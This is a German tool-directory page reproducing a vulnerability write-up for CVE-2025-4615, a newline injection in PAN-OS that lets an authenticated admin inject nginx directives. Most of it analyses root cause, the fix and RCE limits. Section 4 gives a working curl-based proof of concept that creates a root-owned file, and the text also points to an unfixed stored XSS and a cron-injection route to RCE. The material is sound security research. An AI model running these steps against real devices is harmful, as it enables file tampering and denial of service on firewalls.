Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2025-4615 — cve-2025-4615 poc & Deep Dive | Kitploit
Tools/GitHubGitHub/sh00bx/cve-2025-4615
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationKonfigurationsprüfungPenetrationstests
GitHubsh00bx/cve-2025-4615

cve-2025-4615

cve-2025-4615 poc & Deep Dive

Repository anzeigen
3vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-4615 — Technische Analyse & Proof of Concept

Vulnerability: Unsachgemäße Neutralisierung von Eingaben in der PAN-OS-Verwaltungs-Webschnittstelle
Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MITTEL) — Integrität HOCH, Verfügbarkeit HOCH
CWE: CWE-83 (Unsachgemäße Neutralisierung von Skripten in Attributen einer Webseite)
CAPEC: CAPEC-165 (Dateimanipulation)
Quelle: Visa Inc.
Datum der Analyse: 2026-03-26


1. Zusammenfassung

CVE-2025-4615 ist eine Newline-Injection-Schwachstelle im Konfigurationsfeld secure-proxy-user von Palo Alto Networks PAN-OS. Ein authentifizierter Administrator kann über die XML-API oder die Weboberfläche Newline-Zeichen (\n) in den Proxy-Benutzernamen injizieren. Bei einem Commit wird dieser Wert unbereinigt in /etc/nginx/nginx.conf geschrieben, wodurch eine Kommentarzeile verlassen und beliebige nginx-Direktiven injiziert werden.

Auswirkungen:

  • Beliebige Dateierstellung/-beschreibung als root über injizierte access_log-Direktive
  • Denial-of-Service (DoS) — ungültige Direktiven verhindern den Neustart von nginx und deaktivieren die Verwaltungsschnittstelle
Tool herunterladen
  • Konfigurationsbeschädigung in mehreren Systemkonfigurationsdateien
  • Hinweis: Die Korrektur des Herstellers (Entfernen von Newline-Zeichen) ist unvollständig — dasselbe Feld bleibt anfällig für gespeichertes Cross-Site Scripting (XSS), da keine Ausgabekodierung oder Zeichen-Whitelist angewendet wird.


    2. Ursachenanalyse

    2.1 Der Injektionspunkt

    Das Feld secure-proxy-user ist im PAN-OS-Schema (schema.xml) als einfacher String ohne Eingabebereinigung definiert:

    root@kitploit:~
    <element name="secure-proxy-user" optional="yes" type="string"
             help-string="Secure Proxy user name to use"/>
    

    Hinweis: secure-proxy-server hat eine Regex-Einschränkung (regex="^([0-9a-zA-Z.:/_-])+$"), aber secure-proxy-user hat keine. Es gibt eine Längenbegrenzung von 31 Zeichen, aber keine Zeichenbeschränkungen.

    2.2 Der anfällige Konfigurationsschreiber

    Während eines Commits generiert PAN-OS /etc/nginx/nginx.conf aus einer Vorlage (/etc/nginx/nginx.conf.tmpl) neu. Die Vorlage enthält:

    root@kitploit:~
    #pan_proxy_comment %s
    

    Der Platzhalter %s wird durch die Bibliotheksfunktion libpanmp_mp.so gefüllt, die Proxy-Server, Benutzername und verschlüsseltes Passwort zu einem einzigen String verkettet. In der anfälligen Version werden Newline-Zeichen im Benutzernamen unverändert übernommen.

    2.3 Die resultierende Beschädigung der nginx.conf

    Wenn secure-proxy-user a\naccess_log /tmp/pwn3;\n# enthält, wird die generierte nginx.conf zu:

    root@kitploit:~
      #pan_proxy_comment 8.8.8.9 a        — Kommentar (harmlos)
    access_log /tmp/pwn3;                  — INJIZIERTE DIREKTIVE (von nginx ausgeführt!)
    # -AQ==encrypted_password==            — Passwort durch injiziertes # auskommentiert
    

    Zeile 1 ist ein Kommentar. Zeile 2 ist eine gültige nginx-Direktive auf der http-Ebene. Zeile 3 wird durch das #-Zeichen des Angreifers neutralisiert.

    2.4 Warum dies gefährlich ist

    Der nginx-Masterprozess läuft als root. Die access_log-Direktive veranlasst nginx, die Zieldatei als root zu öffnen/erstellen. Dies ermöglicht:

    1. Beliebige Dateierstellung an beliebiger Stelle im Dateisystem
    2. Beliebiges Dateischreiben (HTTP-Zugriffsprotokollinhalt wird angehängt)
    3. DoS, wenn eine ungültige Direktive injiziert wird (nginx verweigert das Neuladen)

    3. Die Korrektur (und ihre Einschränkungen)

    In der behobenen Version (11.1.13) entfernt der Konfigurationsschreiber Newline-Zeichen aus dem Proxy-Benutzernamen, bevor er in die nginx.conf geschrieben wird. Derselbe bösartige Wert erzeugt:

    root@kitploit:~
      #pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
    

    Alles bleibt in einer Zeile, sicher innerhalb des #-Kommentars.

    Diese Korrektur ist jedoch unvollständig. Sie behebt nur die Newline-Injection. Das Feld secure-proxy-user akzeptiert weiterhin beliebige Zeichen (einschließlich ", <, >) ohne Ausgabekodierung, sodass der gespeicherte XSS-Vektor weit offen bleibt. Siehe unit-43-xss.


    4. Proof of Concept

    Voraussetzungen

    • Authentifizierter Administratorzugriff auf die PAN-OS-Verwaltung (API oder Weboberfläche)
    • Ein konfigurierter secure-proxy-server (erforderlich, damit der Proxy-Kommentar erscheint)

    Schritt 1: API-Schlüssel abrufen

    root@kitploit:~
    curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
    

    Schritt 2: Proxy-Server konfigurieren (falls nicht gesetzt)

    root@kitploit:~
    curl -sk -X POST "https://<PANOS_IP>/api/" \
      --data-urlencode "type=config" \
      --data-urlencode "action=set" \
      --data-urlencode "key=<APIKEY>" \
      --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
      --data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
    

    Schritt 3: Bösartigen Proxy-Benutzernamen injizieren

    root@kitploit:~
    # Payload: "a\naccess_log /tmp/pwn3;\n#"
    # Gesamt: 26 Zeichen (innerhalb des 31-Zeichen-Limits)
    # Injiziert: access_log /tmp/pwn3; — erstellt /tmp/pwn3 als root
    
    curl -sk -X POST "https://<PANOS_IP>/api/" \
      --data-urlencode "type=config" \
      --data-urlencode "action=set" \
      --data-urlencode "key=<APIKEY>" \
      --data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
      --data-urlencode 'element=<secure-proxy-user>a
    access_log /tmp/pwn3;
    #</secure-proxy-user>'
    

    Schritt 4: Konfiguration committen

    root@kitploit:~
    curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
    

    Schritt 5: Überprüfen

    Nach Abschluss des Commits (~30s):

    • /tmp/pwn3 wird mit root-Besitzer erstellt
    • nginx -t -c /etc/nginx/nginx.conf meldet: syntax is ok
    • nginx wird erfolgreich mit der injizierten Direktive neu geladen

    5. Ausbreitungsanalyse

    Der unbereinigte Wert secure-proxy-user verbreitet sich auf mehrere Dateien:

    DateiAuswirkung
    /etc/nginx/nginx.confKritisch — Injektion von nginx-Direktiven
    /opt/pancfg/tmp/.tdb_conf.xmlTemplate-DB-Konfiguration (XML-Injection)
    /opt/pancfg/mgmt/audit/cfg-audit.xml,vPrüfpfad-Beschädigung
    /opt/pancfg/mgmt/replaydb/replay.dbWiedergabedatenbank-Beschädigung
    XSL-generierte Daemon-Konfigurationen (authd, cord, useridd usw.)XML-Wert mit Newlines erhalten

    Die Schreiber von curlrc (/root/.curlrc) und wgetrc (/root/.wgetrc) entfernen Newlines, selbst in der anfälligen Version. Der nginx.conf-Schreiber war der einzige Pfad, der nicht bereinigte.


    6. RCE-Bewertung

    Umfangreiche Tests von 11 Angriffsvektoren bestätigten, dass alleinstehende OS-Level-RCE aus CVE-2025-4615 auf PAN-OS 11.1.6-h7 mit nginx 1.20.1 nicht erreichbar ist. Die drei kritischen Hindernisse:

    1. nginx \x0A-Escape — verhindert rohe Newline-Injection in Logdateien, blockiert Cron-Injection trotz der Toleranz von vixie-cron gegenüber Müllzeilen (laborbestätigt: Cron führt gültige Zeilen aus, die von Müll umgeben sind)
    2. 31-Zeichen-Limit — verhindert die Kombination von log_format + access_log, um Inhaltskontrolle über geschriebene Dateien zu erlangen
    3. Newline-Entfernung in curlrc/wgetrc — beseitigt den sekundären Dateischreibkanal

    Die „Ausführung beliebiger Befehle“ in der Advisory bezieht sich höchstwahrscheinlich auf beliebige nginx-Direktiven, nicht auf OS-Level-Befehlsausführung. Dies steht im Einklang mit dem CVSS VC:N (keine Auswirkungen auf die Vertraulichkeit) und der Art der Korrektur.

    Wenn eines der drei Hindernisse fehlen würde, wäre RCE trivial über Cron-Injection erreichbar.


    Analyse durchgeführt in isolierter Laborumgebung mit PAN-OS 11.1.6-h7 (anfällig) und PAN-OS 11.1.13 (behoben).